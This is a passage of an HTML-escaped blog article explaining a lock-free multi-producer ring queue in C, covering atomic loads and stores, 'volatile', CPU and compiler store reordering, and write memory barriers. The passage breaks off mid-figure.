&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;errno&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EAGAIN&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// write the data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As we said before we have the producer’s head and the consumer’s tail pointers.&lt;/p&gt;
&lt;p&gt;We load them and check that if there are enough free entries for pushing &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; data. &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; here is the size of the queue minus one ensuring that a producer’s head will never reach the consumer’s tail in a push.&lt;/p&gt;
&lt;p&gt;If we have room, we update the producer’s head to the new value: now the consumer had reserved the space between her tail and head pointers to write the data.&lt;/p&gt;
&lt;p&gt;After the write, the producer update her tail pointer so the consumer can move forward and consume the new available data.&lt;/p&gt;
&lt;h2 id="atomic-loads-and-stores"&gt;Atomic loads and stores&lt;/h2&gt;
&lt;p&gt;In a single-producer, the head is only modified by a single thread but now, it can be modified by multiple producers.&lt;/p&gt;
&lt;p&gt;To ensure a consistent value, the producer’s tail must be updated (&lt;em&gt;store&lt;/em&gt;) atomically so the consumer will not read an incomplete value.&lt;/p&gt;
&lt;p&gt;This applies for consumer’s head too: the producer must &lt;em&gt;load&lt;/em&gt; it atomically.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoZSBjb21waWxlciBtYXkgYXNzdW1lIHRoYXQgYHEtPnByb2RfdGFpbGAgaXMgbmV2ZXIgcmVhZApzbyBpdCBjb3VsZCBzdHJpcCB0aGUgc3RvcmUgb2ZmLiBVbmRlciBhIHNpbmdsZSB0aHJlYWQgc2NlbmFyaW8KdGhpcyBpcyBjb3JyZWN0OyBpbiBhIG11bHRpdGhyZWFkaW5nIHNjZW5hcmlvIHRoaXMgaXMgYSBkaXNhc3Rlci4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSBjb21waWxlciBtYXkgYXNzdW1lIHRoYXQgYHEtPnByb2RfdGFpbGAgaXMgbmV2ZXIgcmVhZApzbyBpdCBjb3VsZCBzdHJpcCB0aGUgc3RvcmUgb2ZmLiBVbmRlciBhIHNpbmdsZSB0aHJlYWQgc2NlbmFyaW8KdGhpcyBpcyBjb3JyZWN0OyBpbiBhIG11bHRpdGhyZWFkaW5nIHNjZW5hcmlvIHRoaXMgaXMgYSBkaXNhc3Rlci4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The compiler may assume that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is never read so it could strip the store off. Under a single thread scenario this is correct; in a multithreading scenario this is a disaster.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In some processors the loads and stores to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are atomic, however that’s not enough: we also need to prevent the &lt;em&gt;compiler&lt;/em&gt; from optimize them.&lt;/p&gt;
&lt;p&gt;We &lt;em&gt;really need&lt;/em&gt; that those loads and stores happen even if the compiler thinks that they are not needed.&lt;/p&gt;
&lt;p&gt;&lt;label for='CltUYWtlIGF0IGxvb2tdKC9hcnRpY2xlcy8yMDIwLzAyLzA3L0NvbXBpbGVyLU9wdGltaXphdGlvbnMtdW5kZXItUkMuaHRtbCkKb2Ygd2hhdCBgdm9sYXRpbGVgIGRvZXMuCgpTZWUgYWxzbyB0aGUgY29tbWVudHMgYWJvdXQgdGhpcyBpbgpbY3BwcmVmZXJlbmNlXShodHRwczovL2VuLmNwcHJlZmVyZW5jZS5jb20vdy9jcHAvYXRvbWljL21lbW9yeV9vcmRlciNSZWxhdGlvbnNoaXBfd2l0aF92b2xhdGlsZSkgbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CltUYWtlIGF0IGxvb2tdKC9hcnRpY2xlcy8yMDIwLzAyLzA3L0NvbXBpbGVyLU9wdGltaXphdGlvbnMtdW5kZXItUkMuaHRtbCkKb2Ygd2hhdCBgdm9sYXRpbGVgIGRvZXMuCgpTZWUgYWxzbyB0aGUgY29tbWVudHMgYWJvdXQgdGhpcyBpbgpbY3BwcmVmZXJlbmNlXShodHRwczovL2VuLmNwcHJlZmVyZW5jZS5jb20vdy9jcHAvYXRvbWljL21lbW9yeV9vcmRlciNSZWxhdGlvbnNoaXBfd2l0aF92b2xhdGlsZSkgbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;a href="/articles/2020/02/07/Compiler-Optimizations-under-RC.html"&gt;Take at look&lt;/a&gt; of what &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; does.
&lt;br /&gt;&lt;br /&gt;
See also the comments about this in &lt;a href="https://en.cppreference.com/w/cpp/atomic/memory_order#Relationship_with_volatile"&gt;cppreference&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;For that reason we declare them as &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;queue_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;prod_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cons_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='ClRoaXMgaXMgd2hhdApbRFBES10oaHR0cDovL2dpdC5kcGRrLm9yZy9kcGRrL3RyZWUvbGliL2xpYnJ0ZV9yaW5nL3J0ZV9yaW5nX2MxMV9tZW0uaCkgZG9lcwp3aGlsZSB0aGUKW0ZyZWVCU0QgdmVyc2lvbl0oaHR0cHM6Ly9zdm53ZWIuZnJlZWJzZC5vcmcvYmFzZS9yZWxlYXNlLzguMC4wL3N5cy9zeXMvYnVmX3JpbmcuaD9yZXZpc2lvbj0xOTk2MjUmYW1wKQphc3N1bWVzIGxvYWRzIGFuZCBzdG9yZXMgYXJlIGF0b21pYy4gbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoaXMgaXMgd2hhdApbRFBES10oaHR0cDovL2dpdC5kcGRrLm9yZy9kcGRrL3RyZWUvbGliL2xpYnJ0ZV9yaW5nL3J0ZV9yaW5nX2MxMV9tZW0uaCkgZG9lcwp3aGlsZSB0aGUKW0ZyZWVCU0QgdmVyc2lvbl0oaHR0cHM6Ly9zdm53ZWIuZnJlZWJzZC5vcmcvYmFzZS9yZWxlYXNlLzguMC4wL3N5cy9zeXMvYnVmX3JpbmcuaD9yZXZpc2lvbj0xOTk2MjUmYW1wKQphc3N1bWVzIGxvYWRzIGFuZCBzdG9yZXMgYXJlIGF0b21pYy4gbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
This is what &lt;a href="http://git.dpdk.org/dpdk/tree/lib/librte_ring/rte_ring_c11_mem.h"&gt;DPDK&lt;/a&gt; does while the &lt;a href="https://svnweb.freebsd.org/base/release/8.0.0/sys/sys/buf_ring.h?revision=199625&amp;amp;amp"&gt;FreeBSD version&lt;/a&gt; assumes loads and stores are atomic.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If the processor cannot guarantee atomic loads and stores, we can instruct the compiler to generate code for that:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__atomic_load_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_RELAXED&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//....&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;__atomic_store_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_RELAXED&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="load-and-store-reorder"&gt;Load and store reorder&lt;/h2&gt;
&lt;p&gt;Review the following:&lt;/p&gt;
&lt;p&gt;&lt;label for='CldlIHJlcXVpcmUgdGhlIHNpemUgb2YgdGhlIHF1ZXVlCnRvIGJlIGEgcG93ZXIgb2YgMjogZW50cnkgYWNjZXNzIHRocm91Z2ggdGhlIGhlYWQvdGFpbCBwb2ludGVyCmlzIG1hc2tlZCBgc2l6ZS0xYCBpbnN0ZWFkIHdpdGggbW9kdWxlIG9mIGBzaXplYC4KIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldlIHJlcXVpcmUgdGhlIHNpemUgb2YgdGhlIHF1ZXVlCnRvIGJlIGEgcG93ZXIgb2YgMjogZW50cnkgYWNjZXNzIHRocm91Z2ggdGhlIGhlYWQvdGFpbCBwb2ludGVyCmlzIG1hc2tlZCBgc2l6ZS0xYCBpbnN0ZWFkIHdpdGggbW9kdWxlIG9mIGBzaXplYC4KIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
We require the size of the queue to be a power of 2: entry access through the head/tail pointer is masked &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instead with module of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;What’s wrong?&lt;/p&gt;
&lt;p&gt;The compiler may reorder the store of the tail to &lt;em&gt;happen before&lt;/em&gt; the actual write of the data. Even if the compiler does not do that, the CPU may do it.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy90aHJlYWRpbmcvbG9jay1mcmVlL3F1ZXVlL3Jlb3JkZXItMnN0b3Jlcy5wbmcnIC8+bWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy90aHJlYWRpbmcvbG9jay1mcmVlL3F1ZXVlL3Jlb3JkZXItMnN0b3Jlcy5wbmcnIC8+bWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/threading/lock-free/queue/reorder-2stores.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This is a &lt;em&gt;store reorder&lt;/em&gt;. A store is typically much expensive than a load and they are moved &lt;em&gt;upwards&lt;/em&gt; to start them sooner or &lt;em&gt;downwards&lt;/em&gt; to be delayed hoping to be merged with a further store.&lt;/p&gt;
&lt;p&gt;Loads are subject of similar optimizations and the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; keyword will not prevent that: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; works at the compiler level, has no effect on the reorder made by the CPU.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkJld2FyZSB0aGF0IHNvbWUgYmFycmllcnMgYXJlIGF0IHRoZSBjb21waWxlciBsZXZlbCBvbmx5IGFuZCBoZXJlIHdlCm5lZWQgdG8gZW5zdXJlIHRoYXQgbmVpdGhlciB0aGUgY29tcGlsZXIgbm9yIHRoZSBDUFUgZG8gc29tZXRoaW5nCip0b28gc21hcnRpc2gqLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkJld2FyZSB0aGF0IHNvbWUgYmFycmllcnMgYXJlIGF0IHRoZSBjb21waWxlciBsZXZlbCBvbmx5IGFuZCBoZXJlIHdlCm5lZWQgdG8gZW5zdXJlIHRoYXQgbmVpdGhlciB0aGUgY29tcGlsZXIgbm9yIHRoZSBDUFUgZG8gc29tZXRoaW5nCip0b28gc21hcnRpc2gqLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Beware that some barriers are at the compiler level only and here we need to ensure that neither the compiler nor the CPU do something &lt;em&gt;too smartish&lt;/em&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We have the option to use a &lt;em&gt;full write barrier&lt;/em&gt; in the middle so all the stores that &lt;em&gt;happen before&lt;/em&gt; of the tail update are &lt;em&gt;perceived&lt;/em&gt; by other threads as if they happen before the update&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// write the data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wmb&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// write memory barrier&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Nobody is saying that everything will happen in the same &lt;em&gt;sequential&lt;/em&gt; order, just that the notion of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;A1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, … happen before &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;B1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;B2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, … is preserved.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;A1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;barrier&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;B1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;B2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;em&gt;and&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;A2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; 